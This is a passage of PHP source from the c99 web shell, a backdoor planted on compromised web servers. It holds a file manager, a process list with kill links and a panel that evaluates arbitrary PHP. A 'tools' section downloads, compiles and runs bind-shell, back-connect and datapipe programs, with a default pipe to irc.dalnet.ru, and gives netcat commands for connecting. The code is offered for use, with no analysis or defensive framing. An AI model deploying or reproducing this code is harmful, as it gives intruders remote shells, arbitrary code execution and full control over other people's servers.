  2031.     $uo = urlencode($o);
  2032.     $ud = urlencode($dir);
  2033.     $uv = urlencode($v);
  2034.     $row = array();
  2035.     if ($o == ".")
  2036.     {
  2037.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2038.      $row[] = "LINK";
  2039.     }
  2040.     elseif ($o == "..")
  2041.     {
  2042.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2043.      $row[] = "LINK";
  2044.     }
  2045.     elseif (is_dir($v))
  2046.     {
  2047.      if (is_link($v))
  2048.      {
  2049.       $disppath .= " => ".readlink($v);
  2050.       $type = "LINK";
  2051.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2052.      }
  2053.      else
  2054.      {
  2055.       $type = "DIR";
  2056.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2057.       }
  2058.      $row[] = $type;
  2059.     }
  2060.     elseif(is_file($v))
  2061.     {
  2062.      $ext = explode(".",$o);
  2063.      $c = count($ext)-1;
  2064.      $ext = $ext[$c];
  2065.      $ext = strtolower($ext);
  2066.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  2067.      $row[] = view_size($a[1]);
  2068.     }
  2069.     $row[] = date("d.m.Y H:i:s",$a[2]);
  2070.     if (!$win) {$row[] = $a[3];}
  2071.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  2072.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  2073.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  2074.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
  2075.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
  2076.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  2077.     elseif (is_link($v)) {$tab["links"][] = $row;}
  2078.     elseif (is_dir($v)) {$tab["folders"][] = $row;}
  2079.     elseif (is_file($v)) {$tab["files"][] = $row;}
  2080.     $i++;
  2081.    }
  2082.   }
  2083.   //Compiling table
  2084.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  2085.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\">";
  2086.   foreach($table as $row)
  2087.   {
  2088.    echo "<tr>\r\n";
  2089.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  2090.    echo "</tr>\r\n";
  2091.   }
  2092.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  2093.  <script>
  2094.  function ls_setcheckboxall(status)
  2095.  {
  2096.   var id = 0;
  2097.   var num = ".(count($table)-2).";
  2098.   while (id <= num)
  2099.   {
  2100.    document.getElementById('actbox'+id).checked = status;
  2101.    id++;
  2102.   }
  2103.  }
  2104.  function ls_reverse_all()
  2105.  {
  2106.   var id = 0;
  2107.   var num = ".(count($table)-2).";
  2108.   while (id <= num)
  2109.   {
  2110.    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  2111.    id++;
  2112.   }
  2113.  }
  2114.  </script>
  2115.  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
  2116.  <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  2117.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  2118.   {
  2119.    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2120.   }
  2121.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  2122.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  2123.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  2124.   if ($usefsbuff)
  2125.   {
  2126.    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  2127.    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  2128.    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  2129.   }
  2130.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  2131.   echo "</form>";
  2132.  }
  2133. }
  2134. if ($act == "tools")
  2135. {
  2136.  $bndportsrcs = array(
  2137.   "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
  2138.   "c99sh_bindport.c"=>array("Using C","%path %port %pass")
  2139.  );
  2140.  $bcsrcs = array(
  2141.   "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
  2142.   "c99sh_backconn.c"=>array("Using C","%path %host %port")
  2143.  );
  2144.  $dpsrcs = array(
  2145.   "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
  2146.   "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
  2147.  );
  2148.  if (!is_array($bind)) {$bind = array();}
  2149.  if (!is_array($bc)) {$bc = array();}
  2150.  if (!is_array($datapipe)) {$datapipe = array();}
  2151.  
  2152.  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  2153.  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  2154.  
  2155.  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
  2156.  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
  2157.  
  2158.  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
  2159.  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
  2160.  if (!empty($bindsubmit))
  2161.  {
  2162.   echo "<b>Result of binding port:</b><br>";
  2163.   $v = $bndportsrcs[$bind["src"]];
  2164.   if (empty($v)) {echo "Unknown file!<br>";}
  2165.   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2166.   else
  2167.   {
  2168.    $w = explode(".",$bind["src"]);
  2169.    $ext = $w[count($w)-1];
  2170.    unset($w[count($w)-1]);
  2171.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2172.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2173.    if ($ext == "pl") {$binpath = $srcpath;}
  2174.    @unlink($srcpath);
  2175.    $fp = fopen($srcpath,"ab+");
  2176.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2177.    elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";}
  2178.    else
  2179.    {
  2180.     fwrite($fp,$data,strlen($data));
  2181.     fclose($fp);
  2182.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
  2183.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2184.     $v[1] = str_replace("%port",$bind["port"],$v[1]);
  2185.     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
  2186.     $v[1] = str_replace("//","/",$v[1]);
  2187.     $retbind = myshellexec($v[1]." > /dev/null &");
  2188.     sleep(5);
  2189.     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
  2190.     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
  2191.     else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
  2192.    }
  2193.    echo "<br>";
  2194.   }
  2195.  }
  2196.  if (!empty($bcsubmit))
  2197.  {
  2198.   echo "<b>Result of back connection:</b><br>";
  2199.   $v = $bcsrcs[$bc["src"]];
  2200.   if (empty($v)) {echo "Unknown file!<br>";}
  2201.   else
  2202.   {
  2203.    $w = explode(".",$bc["src"]);
  2204.    $ext = $w[count($w)-1];
  2205.    unset($w[count($w)-1]);
  2206.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2207.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2208.    if ($ext == "pl") {$binpath = $srcpath;}
  2209.    @unlink($srcpath);
  2210.    $fp = fopen($srcpath,"ab+");
  2211.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2212.    elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";}
  2213.    else
  2214.    {
  2215.     fwrite($fp,$data,strlen($data));
  2216.     fclose($fp);
  2217.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2218.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2219.     $v[1] = str_replace("%host",$bc["host"],$v[1]);
  2220.     $v[1] = str_replace("%port",$bc["port"],$v[1]);
  2221.     $v[1] = str_replace("//","/",$v[1]);
  2222.     $retbind = myshellexec($v[1]." > /dev/null &");
  2223.     echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
  2224.    }
  2225.   }
  2226.  }
  2227.  if (!empty($dpsubmit))
  2228.  {
  2229.   echo "<b>Result of datapipe-running:</b><br>";
  2230.   $v = $dpsrcs[$datapipe["src"]];
  2231.   if (empty($v)) {echo "Unknown file!<br>";}
  2232.   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2233.   else
  2234.   {
  2235.    $srcpath = $tmpdir.$datapipe["src"];
  2236.    $w = explode(".",$datapipe["src"]);
  2237.    $ext = $w[count($w)-1];
  2238.    unset($w[count($w)-1]);
  2239.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2240.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2241.    if ($ext == "pl") {$binpath = $srcpath;}
  2242.    @unlink($srcpath);
  2243.    $fp = fopen($srcpath,"ab+");
  2244.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2245.    elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";}
  2246.    else
  2247.    {
  2248.     fwrite($fp,$data,strlen($data));
  2249.     fclose($fp);
  2250.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2251.     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
  2252.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2253.     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
  2254.     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
  2255.     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
  2256.     $v[1] = str_replace("//","/",$v[1]);
  2257.     $retbind = myshellexec($v[1]." > /dev/null &");
  2258.     sleep(5);
  2259.     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
  2260.     if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
  2261.     else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
  2262.    }
  2263.    echo "<br>";
  2264.   }
  2265.  }
  2266.  ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
  2267.  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2268.  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
  2269. <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
  2270. foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2271. ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
  2272. Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
  2273. <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
  2274. foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2275. ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
  2276. }
  2277. if ($act == "processes")
  2278. {
  2279.  echo "<b>Processes:</b><br>";
  2280.  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  2281.  else {$handler = "tasklist";}
  2282.  $ret = myshellexec($handler);
  2283.  if (!$ret) {echo "Can't execute \"".$handler."\"!";}
  2284.  else
  2285.  {
  2286.   if (empty($processes_sort)) {$processes_sort = $sort_default;}
  2287.   $parsesort = parsesort($processes_sort);
  2288.   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  2289.   $k = $parsesort[0];
  2290.   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2291.   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2292.   $ret = htmlspecialchars($ret);
  2293.   if (!$win)
  2294.   {
  2295.    if ($pid)
  2296.    {
  2297.     if (is_null($sig)) {$sig = 9;}
  2298.     echo "Sending signal ".$sig." to #".$pid."... ";
  2299.     if (posix_kill($pid,$sig)) {echo "OK.";}
  2300.     else {echo "ERROR.";}
  2301.    }
  2302.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  2303.    $stack = explode("\n",$ret);
  2304.    $head = explode(" ",$stack[0]);
  2305.    unset($stack[0]);
  2306.    for($i=0;$i<count($head);$i++)
  2307.    {
  2308.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  2309.    }
  2310.    $prcs = array();
  2311.    foreach ($stack as $line)
  2312.    {
  2313.     if (!empty($line))
  2314.     {
  2315.      echo "<tr>";
  2316.      $line = explode(" ",$line);
  2317.      $line[10] = join(" ",array_slice($line,10));
  2318.      $line = array_slice($line,0,11);
  2319.      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  2320.      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2321.      $prcs[] = $line;
  2322.      echo "</tr>";
  2323.     }
  2324.    }
  2325.   }
  2326.   else
  2327.   {
  2328.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  2329.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  2330.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  2331.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  2332.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  2333.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  2334.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  2335.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  2336.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  2337.    while (ereg("        ",$ret)) {$ret = str_replace("      "," ",$ret);}
  2338.    while (ereg("     ",$ret)) {$ret = str_replace("  ","    ",$ret);}
  2339.    $ret = convert_cyr_string($ret,"d","w");
  2340.    $stack = explode("\n",$ret);
  2341.    unset($stack[0],$stack[2]);
  2342.    $stack = array_values($stack);
  2343.    $head = explode("    ",$stack[0]);
  2344.    $head[1] = explode(" ",$head[1]);
  2345.    $head[1] = $head[1][0];
  2346.    $stack = array_slice($stack,1);
  2347.    unset($head[2]);
  2348.    $head = array_values($head);
  2349.    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2350.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2351.    if ($k > count($head)) {$k = count($head)-1;}
  2352.    for($i=0;$i<count($head);$i++)
  2353.    {
  2354.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  2355.    }
  2356.    $prcs = array();
  2357.    foreach ($stack as $line)
  2358.    {
  2359.     if (!empty($line))
  2360.     {
  2361.      echo "<tr>";
  2362.      $line = explode("  ",$line);
  2363.      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  2364.      $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  2365.      $prcs[] = $line;
  2366.      echo "</tr>";
  2367.     }
  2368.    }
  2369.   }
  2370.   $head[$k] = "<b>".$head[$k]."</b>".$y;
  2371.   $v = $processes_sort[0];
  2372.   usort($prcs,"tabsort");
  2373.   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2374.   $tab = array();
  2375.   $tab[] = $head;
  2376.   $tab = array_merge($tab,$prcs);
  2377.   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  2378.   foreach($tab as $i=>$k)
  2379.   {
  2380.    echo "<tr>";
  2381.    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  2382.    echo "</tr>";
  2383.   }
  2384.   echo "</table>";
  2385.  }
  2386. }
  2387. if ($act == "eval")
  2388. {
  2389.  if (!empty($eval))
  2390.  {
  2391.   echo "<b>Result of execution this PHP-code</b>:<br>";
  2392.   $tmp = ob_get_contents();
  2393.   $olddir = realpath(".");
  2394.   @chdir($d);
  2395.   if ($tmp)
  2396.   {
  2397.    ob_clean();
  2398.    eval($eval);
  2399.    $ret = ob_get_contents();
  2400.    $ret = convert_cyr_string($ret,"d","w");
  2401.    ob_clean();
  2402.    echo $tmp;
  2403.    if ($eval_txt)
  2404.    {
  2405.     $rows = count(explode("\r\n",$ret))+1;
  2406.     if ($rows < 10) {$rows = 10;}
  2407.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2408.    }
  2409.    else {echo $ret."<br>";}
  2410.   }
  2411.   else
  2412.   {
  2413.    if ($eval_txt)
  2414.    {
  2415.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  2416.     eval($eval);
  2417.     echo "</textarea>";
  2418.    }
  2419.    else {echo $ret;}
  2420.   }
  2421.   @chdir($olddir);
  2422.  }
  2423.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}}
  2424.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2425. }
  2426. if ($act == "f")
  2427. {
  2428.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  2429.  {
  2430.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2431.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2432.  }
  2433.  else
  2434.  {
  2435.   $r = @file_get_contents($d.$f);
  2436.   $ext = explode(".",$f);
  2437.   $c = count($ext)-1;
  2438.   $ext = $ext[$c];
  2439.   $ext = strtolower($ext);
  2440.   $rft = "";
  2441.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2442.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2443.   if (empty($ft)) {$ft = $rft;}
  2444.   $arr = array(
  2445.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2446.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2447.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2448.    array("Code","code"),
  2449.    array("Session","phpsess"),
  2450.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2451.    array("SDB","sdb"),
  2452.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2453.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2454.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2455.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2456.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2457.   );
  2458.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2459.   foreach($arr as $t)
  2460.   {
  2461.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2462.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2463.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2464.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2465.   }
  2466.   echo "<hr size=\"1\" noshade>";
  2467.   if ($ft == "info")
  2468.   {
  2469.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2470.    if (!$win)
  2471.    {
  2472.     echo "<tr><td><b>Owner/Group</b></td><td> ";    
  2473.     $ow = posix_getpwuid(fileowner($d.$f));
  2474.     $gr = posix_getgrgid(filegroup($d.$f));
  2475.     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2476.    }
  2477.    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  2478.    $fi = fopen($d.$f,"rb");
  2479.    if ($fi)
  2480.    {
  2481.     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2482.     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2483.     $n = 0;
  2484.     $a0 = "00000000<br>";
  2485.     $a1 = "";
  2486.     $a2 = "";
  2487.     for ($i=0; $i<strlen($str); $i++)
  2488.     {
  2489.      $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2490.      switch (ord($str[$i]))
  2491.      {
  2492.       case 0:  $a2 .= "<font>0</font>"; break;
  2493.       case 32:
  2494.       case 10:
  2495.       case 13: $a2 .= "&nbsp;"; break;
  2496.       default: $a2 .= htmlspecialchars($str[$i]);
  2497.      }
  2498.      $n++;
  2499.      if ($n == $hexdump_rows)
  2500.      {
  2501.       $n = 0;
  2502.       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2503.       $a1 .= "<br>";
  2504.       $a2 .= "<br>";
  2505.      }
  2506.     }
  2507.     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  2508.     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  2509.    }
  2510.    $encoded = "";
  2511.    if ($base64 == 1)
  2512.    {
  2513.     echo "<b>Base64 Encode</b><br>";
  2514.     $encoded = base64_encode(file_get_contents($d.$f));
  2515.    }
  2516.    elseif($base64 == 2)
  2517.    {
  2518.     echo "<b>Base64 Encode + Chunk</b><br>";
  2519.     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2520.    }
  2521.    elseif($base64 == 3)
  2522.    {
  2523.     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2524.     $encoded = base64_encode(file_get_contents($d.$f));
  2525.     $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2526.    }
  2527.    elseif($base64 == 4)
  2528.    {
  2529.     $text = file_get_contents($d.$f);
  2530.     $encoded = base64_decode($text);
  2531.     echo "<b>Base64 Decode";
  2532.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  2533.     echo "</b><br>";
  2534.    }
  2535.    if (!empty($encoded))
  2536.    {
  2537.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2538.    }
